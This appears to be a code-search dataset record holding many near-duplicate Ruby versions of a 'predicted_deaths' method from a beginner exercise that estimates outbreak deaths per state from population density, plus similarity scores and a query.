(@population * 0.3)\r\n elsif @population_density >= 100\r\n number_of_deaths = (@population * 0.2)\r\n elsif @population_density >= 50\r\n number_of_deaths = (@population * 0.1)\r\n else\r\n number_of_deaths = (@population * 0.05)\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths.floor} people in this outbreak\"\r\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else\n # number_of_deaths = (@population * 0.05).floor\n # end\n\n virus_kill_rate = case @population_density\n when 0...50\n 0.05\n when 50...100\n 0.1\n when 100...150\n 0.2\n when 150...200\n 0.3\n else\n 0.4\n end\n\n number_of_deaths = @population * virus_kill_rate\n\n print \"#{@state} will lose #{number_of_deaths.floor} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density < 50\n number_of_deaths = (@population * 0.05).floor\n else\n number_of_deaths = (@population*((@population_density/50).floor)*(0.1)).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density >= 150\r\n number_of_deaths = (@population * 0.3).floor\r\n elsif @population_density >= 100\r\n number_of_deaths = (@population * 0.2).floor\r\n elsif @population_density >= 50\r\n number_of_deaths = (@population * 0.1).floor\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density >= 150\r\n number_of_deaths = (@population * 0.3).floor\r\n elsif @population_density >= 100\r\n number_of_deaths = (@population * 0.2).floor\r\n elsif @population_density >= 50\r\n number_of_deaths = (@population * 0.1).floor\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density >= 150\r\n number_of_deaths = (@population * 0.3).floor\r\n elsif @population_density >= 100\r\n number_of_deaths = (@population * 0.2).floor\r\n elsif @population_density >= 50\r\n number_of_deaths = (@population * 0.1).floor\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density >= 150\r\n number_of_deaths = (@population * 0.3).floor\r\n elsif @population_density >= 100\r\n number_of_deaths = (@population * 0.2).floor\r\n elsif @population_density >= 50\r\n number_of_deaths = (@population * 0.1).floor\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density >= 150\r\n number_of_deaths = (@population * 0.3).floor\r\n elsif @population_density >= 100\r\n number_of_deaths = (@population * 0.2).floor\r\n elsif @population_density >= 50\r\n number_of_deaths = (@population * 0.1).floor\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density >= 150\r\n number_of_deaths = (@population * 0.3).floor\r\n elsif @population_density >= 100\r\n number_of_deaths = (@population * 0.2).floor\r\n elsif @population_density >= 50\r\n number_of_deaths = (@population * 0.1).floor\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end" ]
[ "0.7511844", "0.7408945", "0.7403951", "0.7190252", "0.7174762", "0.713513", "0.71295446", "0.71237284", "0.7105321", "0.709898", "0.709898", "0.70612663", "0.7036168", "0.69943273", "0.6977844", "0.6963928", "0.69545174", "0.6938901", "0.69381225", "0.69381225", "0.69218564", "0.6920933", "0.6920358", "0.6920181", "0.6918367", "0.69168615", "0.69131273", "0.69131273", "0.69131273", "0.69131273", "0.69131273", "0.69108593", "0.69102865", "0.6905764", "0.68794215", "0.68794215", "0.68784475", "0.68784475", "0.68784475", "0.68784475", "0.68784475", "0.68784475", "0.68762", "0.6849834", "0.684919", "0.68474126", "0.68448514", "0.6842373", "0.6842373", "0.6842373", "0.6842373", "0.6842373", "0.6842373", "0.6842373", "0.6842373", "0.6829672", "0.6829672", "0.6829672", "0.6827014", "0.68187976", "0.68160945", "0.68153435", "0.68064797", "0.6804812", "0.6804804", "0.67993593", "0.6797547", "0.6775487", "0.6770827", "0.6770452", "0.6769269", "0.6765965", "0.6765965", "0.6764223", "0.67640567", "0.67638355", "0.6762373", "0.6754485", "0.67531747", "0.6742342", "0.67387193", "0.67334676", "0.67307156", "0.67226094", "0.6715924", "0.6713857", "0.67102325", "0.670431", "0.6703237", "0.67004067", "0.66983", "0.6694354", "0.6691016", "0.66797656", "0.66735405", "0.6673284", "0.667291", "0.667291", "0.667291", "0.667291", "0.667291" ]
0.0
-1
Returns a printed statement about the number of deaths in each state based on the population density
def predicted_deaths # predicted deaths is solely based on population density if @population_density >= 200 x = 0.4 elsif @population_density >= 150 x = 0.3 elsif @population_density >= 100 x = 0.2 elsif @population_density >= 50 x = 0.1 else x = 0.05 end number_of_deaths = (@population * x).floor print "#{@state} will lose #{number_of_deaths} people in this outbreak" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def predicted_deaths(population_density, population, state)\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(population_density, population, state)\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(population_density, population, state)\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(population_density, population, state)\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(population_density, population, state)\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(population_density, population, state)\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(population_density, population, state)\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths # this is going to print out the deaths for each state on the outbreak which is going to be based on population and population density\n \n death_percent = 0.1 if @population_density >= 50\n death_percent = 0.2 if @population_density >= 100\n death_percent = 0.3 if @population_density >= 150\n death_percent = 0.4 if @population_density >= 200\n death_percent = 0.05 if @population_density < 50\n number_of_deaths = (@population * death_percent).floor\n \n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n \n end", "def predicted_deaths(population_density, population, state)\n \n number_of_deaths = (@population * 0.05).floor if @population_density < 50\n number_of_deaths = (@population * 0.1).floor if @population_density >= 50\n number_of_deaths = (@population * 0.2).floor if @population_density >= 100\n number_of_deaths = (@population * 0.3).floor if @population_density >= 150\n number_of_deaths = (@population * 0.4).floor if @population_density >= 200\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths#(population_density, population, state)\n # predicted deaths is solely based on population density\n factor = case population_density\n when 0...50 then 0.05\n when 50...100 then 0.1\n when 100...150 then 0.2\n when 150...200 then 0.3\n else 0.4 \n end\n number_of_deaths = (population * factor).floor\n\n print \"#{state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(population_density, population, state)\n case\n when @population_density >= 200 then number_of_deaths = (@population * 0.4).floor\n when @population_density >= 150 then number_of_deaths = (@population * 0.3).floor\n when @population_density >= 100 then number_of_deaths = (@population * 0.2).floor\n when @population_density >= 50 then number_of_deaths = (@population * 0.1).floor\n else (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths #(population_density, population, state)\r\n # predicted deaths is solely based on population density\r\n if @population_density >= 200\r\n multiplier = 0.4\r\n elsif @population_density >= 150\r\n multiplier = 0.3\r\n elsif @population_density >= 100\r\n multiplier = 0.2\r\n elsif @population_density >= 50\r\n multiplier = 0.1\r\n else\r\n multiplier = 0.05\r\n end\r\n number_of_deaths = (@population * multiplier).floor\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "def predicted_deaths(population_density, population, state)\n if @population_density < 50\n number_of_deaths = (@population * 0.05).floor\n else\n number_of_deaths = (@population_density * (0.1 * (@population / 50)) ).floor\n end\n\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else \n # number_of_deaths = (@population * 0.05).floor\n # end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths#(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if population_density >= 200\n number_of_deaths = (population * 0.4).floor\n elsif population_density >= 150\n number_of_deaths = (population * 0.3).floor\n elsif population_density >= 100\n number_of_deaths = (population * 0.2).floor\n elsif population_density >= 50\n number_of_deaths = (population * 0.1).floor\n else\n number_of_deaths = (population * 0.05).floor\n end\n\n print \"#{state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if population_density >= 200\n number_of_deaths = (population * 0.4).floor\n elsif population_density >= 150\n number_of_deaths = (population * 0.3).floor\n elsif population_density >= 100\n number_of_deaths = (population * 0.2).floor\n elsif population_density >= 50\n number_of_deaths = (population * 0.1).floor\n else\n number_of_deaths = (population * 0.05).floor\n end\n\n print \"#{state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(population_density, population, state)\n case \n when @population_density >= 200 then number_of_deaths = (@population * 0.4).floor\n when @population_density >= 150 then number_of_deaths = (@population * 0.3).floor\n when @population_density >= 100 then number_of_deaths = (@population * 0.2).floor\n when @population_density >= 50 then number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end", "def predicted_deaths #(population_density, population, state)\n # predicted deaths is solely based on population density\n\n\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density < 200 && @population_density >= 50\n number_of_deaths = (@population * (@population_density.to_i/50) * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak!!!\\n\"\n\n end", "def predicted_deaths #(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n\n case @population_density \n when 0...50 then i = 0.05 \n when 50...100 then i = 0.1\n when 100...150 then i = 0.2\n when 150...200 then i = 0.3\n else i = 0.4\n end\n\n number_of_deaths = (@population * i).floor\n\n \n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end", "def predicted_deaths #(population_density, population, state)\n # predicted deaths is solely based on population density\n ## Refactored for Release: 8\n if @population_density >= 200\n (@population * 0.4).floor\n elsif @population_density >= 150\n (@population * 0.3).floor\n elsif @population_density >= 100\n (@population * 0.2).floor\n elsif @population_density >= 50\n (@population * 0.1).floor\n else\n (@population * 0.05).floor\n end\n\n # print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths#(population_density, population, state)\r\n # predicted deaths is solely based on population density\r\n number_of_deaths = (@population * 0.4).floor if @population_density >= 200\r\n \r\n number_of_deaths = (@population * 0.3).floor if @population_density >= 150\r\n \r\n number_of_deaths = (@population * 0.2).floor if @population_density >= 100\r\n \r\n number_of_deaths = (@population * 0.1).floor if @population_density >= 50\r\n \r\n number_of_deaths = (@population * 0.05).floor if @population_density >= 0\r\n \r\n # end\r\n # print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n end", "def predicted_deaths(population_density, population, state)\n if population_density >= 200 # predicted_deaths passes in the population density and population and uses a ratio to determine the number effected by the virus\n number_of_deaths = (population * 0.4).floor\n elsif population_density >= 150\n number_of_deaths = (population * 0.3).floor\n elsif population_density >= 100\n number_of_deaths = (population * 0.2).floor\n elsif population_density >= 50\n number_of_deaths = (population * 0.1).floor\n else \n number_of_deaths = (population * 0.05).floor\n end\n\n print \"#{state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(state_density, population)\n # predicted deaths is solely based on population density\n number_of_deaths = ''\n hash = {200 => 0.4, 150 => 0.3, 100 => 0.2, 50 => 0.1}\n\n hash.each do |density, float|\n if @population_density >= density\n number_of_deaths = (@population * float).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n number_of_deaths\n end\n\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else\n # number_of_deaths = (@population * 0.05).floor\n # end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(@population_density, @population, @state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths#(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = death_percentage(0.4)\n elsif @population_density >= 150\n number_of_deaths = death_percentage(0.3)\n elsif @population_density >= 100\n number_of_deaths = death_percentage(0.2)\n elsif @population_density >= 50\n number_of_deaths = death_percentage(0.1)\n else\n number_of_deaths = death_percentage(0.05)\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n if @population_density >= 200\n multiplier = 0.4\n elsif @population_density >= 150\n multiplier = 0.3\n elsif @population_density >= 100\n multiplier = 0.2\n elsif @population_density >= 50\n multiplier = 0.1\n else\n multiplier = 0.05\n end\n number_of_deaths = (@population * multiplier).floor\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end", "def predicted_deaths\n multiplier = 0\n if @population_density >= 200\n multiplier = 0.4\n elsif @population_density >= 150\n multiplier = 0.3\n elsif @population_density >= 100\n multiplier = 0.2\n elsif @population_density >= 50\n multiplier = 0.1\n else\n multiplier = 0.05\n end\n number_of_deaths = (@population * multiplier).floor\n # end\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end", "def predicted_deaths #(population_density, population, state)\n # predicted deaths is solely based on population density\n case when @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n when @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n when @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n when @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n when\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n num = case @population_density\n when 200..99999 then 0.4\n when 150...200 then 0.3\n when 100...150 then 0.2\n when 50...100 then 0.1\n when 0...50 then 0.05\n end\n number_of_deaths = (@population * num).floor\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end", "def death_rate(population_density, population, state)\n # predicted deaths is solely based on population density\n speed = 0.0\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n speed += 0.5\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n speed += 1\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n speed += 1.5\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n speed += 2\n else\n number_of_deaths = (@population * 0.05).floor\n speed += 2.5\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak and will spread across the state in #{speed} months.\\n\\n\"\n end", "def deaths_spread(population_density, population, state)\n speed = 0.0\n case \n when @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n speed += 0.5\n when @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n speed += 1\n when @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n speed += 1.5\n when @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n speed += 2\n else\n number_of_deaths = (@population * 0.05).floor\n speed += 2.5\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def predicted_deaths\r\n\r\n number_of_deaths = (population * 0.05).floor\r\n \r\n 4.times do |i|\r\n if population_density >= 50*(i+1)\r\n number_of_deaths = (population * 0.1*(i+1)).floor\r\n end\r\n end\r\n print \"#{state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "def predicted_deaths #(population_density, population, state)\n # predicted deaths is solely based on population density\n\n # perhaps a case statement is a little more dry?\n case\n when @population_density >= 200 then number_of_deaths = (@population * 0.4).floor\n when @population_density >= 150 then number_of_deaths = (@population * 0.3).floor\n when @population_density >= 100 then number_of_deaths = (@population * 0.2).floor\n when @population_density >= 50 then number_of_deaths = (@population * 0.1).floor\n when @population_density < 50 then number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths()\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths()\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n case @population_density\n when 0 .. 49 then number_of_deaths = (@population * 0.05).floor\n when 50 .. 99 then number_of_deaths = (@population * 0.1).floor\n when 100 .. 149 then number_of_deaths = (@population * 0.2).floor\n when 150 .. 200 then number_of_deaths = (@population * 0.3).floor\n else number_of_deaths = (@population * 0.4).floor\n end\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n end", "def predicted_deaths\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n number_of_deaths =\n if @population_density >= 200\n (@population * 0.4).floor\n elsif @population_density >= 150\n (@population * 0.3).floor\n elsif @population_density >= 100\n (@population * 0.2).floor\n elsif @population_density >= 50\n (@population * 0.1).floor\n else\n (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n number_of_deaths =\n if @population_density >= 200\n (@population * 0.4).floor\n elsif @population_density >= 150\n (@population * 0.3).floor\n elsif @population_density >= 100\n (@population * 0.2).floor\n elsif @population_density >= 50\n (@population * 0.1).floor\n else\n (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths \n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else \n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n number_of_deaths = if @population_density >= 200\n (@population * 0.4).floor\n elsif @population_density >= 150\n (@population * 0.3).floor\n elsif @population_density >= 100\n (@population * 0.2).floor\n elsif @population_density >= 50\n (@population * 0.1).floor\n else\n (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths#(population_density, population, state)\n # predicted deaths is solely based on population density\n\n x = 1\n\n number_of_deaths = (@population * x).floor\n case @population_density\n\n when (150...200)\n x = 0.3\n when (100...150)\n x = 0.2\n when (50...100)\n x = 0.1\n when (0...50)\n x= 0.05\n else\n x = 0.4\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n x = 0.4\n elsif @population_density >= 150\n x = 0.3\n elsif @population_density >= 100\n x = 0.2\n elsif @population_density >= 50\n x = 0.1\n else\n x = 0.05\n end\n number_of_deaths = (@population * x).floor\n#prints the predicted deaths as number_of_deaths in a sentence\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n speed = 0.0\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n speed += 0.5\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n speed += 1\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n speed += 1.5\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n speed += 2.0\n else\n number_of_deaths = (@population * 0.05).floor\n speed += 2.5\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak and will spread across the state in #{speed} months.\\n\\n\"\n #puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n speed = 0\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n speed += 0.5\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n speed += 1\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n speed += 1.5\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n speed += 2\n else\n number_of_deaths = (@population * 0.05).floor\n speed += 2.5\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 